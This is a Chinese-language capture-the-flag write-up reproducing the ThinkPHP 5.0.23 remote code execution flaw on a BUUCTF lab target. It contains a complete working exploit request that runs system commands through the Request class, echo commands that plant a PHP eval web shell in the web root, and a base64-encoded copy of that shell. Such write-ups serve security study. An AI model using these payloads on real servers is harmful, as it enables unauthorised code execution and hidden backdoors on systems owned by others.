【RCE | BUUCTF】ThinkPHP 5.0.23 遠程代碼執行漏洞復現


漏洞簡介

ThinkPHP 是一款運用極廣的 PHP 開發框架。其 5.0.23 以前的版本中,獲取 method 的方法中沒有正確處理方法名,導致攻擊者可以調用 Request 類任意方法並構造利用鏈,從而導致遠程代碼執行漏洞。

漏洞靶場

BUUCTF 的 Real 分類下,[ThinkPHP]5.0.23-Rce 模塊。

image

復現過程

直接在主頁使用 BurpSuite 進行抓包,得到這樣的數據包:

image

將其發送到 BurpSuite 的 Repeater 模塊。

在 Vulhub 中,我們找到了該漏洞的利用 POC:

POST /index.php?s=captcha HTTP/1.1
Host: node4.buuoj.cn:29957
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

注意:記得修改 Host 的數據為自己實際訪問的地址。


將該 POC 替換到 之前的 Repeater 中,直接發送:

image

可以看到我們獲取了主機的信息。

由於我們使用的是 CTF 場景,目標是獲取 flag,因此考慮利用 echo> 重定向,向目錄寫入一句話木馬。

先使用 pwd 命令,查看當前所在目錄:

image

可以看到處於 /var/www/public 目錄下。

然后使用:

echo "<?php @eval($_POST['cmd']);?>" > /var/www/public/test.php

寫入一句話木馬:

image

可以看到已經成功寫入。

使用蟻劍連接,然而並沒有成功。我們再顯示上傳的文件的內容,發現 $_POST 被吃掉了:

image

我 TM 直呼好家伙。

接下來嘗試寫入 phpinfo 文件,看看這里面能不能找到點什么信息:

echo "<?php phpinfo();?>" > /var/www/public/test2.php

成功訪問:

image

最終果然在這里找到了 flag:

image

flag flag{12e8df97-2bce-415d-9be8-2424656ba351}

雖然找到了 flag,但是沒用蟻劍連上,有點不服,后來試了下其他方式,采用如下命令:

echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=" | base64 -d > 1.php

其中 PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4= 是一句話木馬的 Base64 編碼形式。這里將這段編碼進行解碼過后再寫入到 1.php 中。

可以看到成功寫進去了:

image

蟻劍成功連接:

image

但是沒有在目錄中看到 flag,所以之前算是歪打正着了吧😅


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM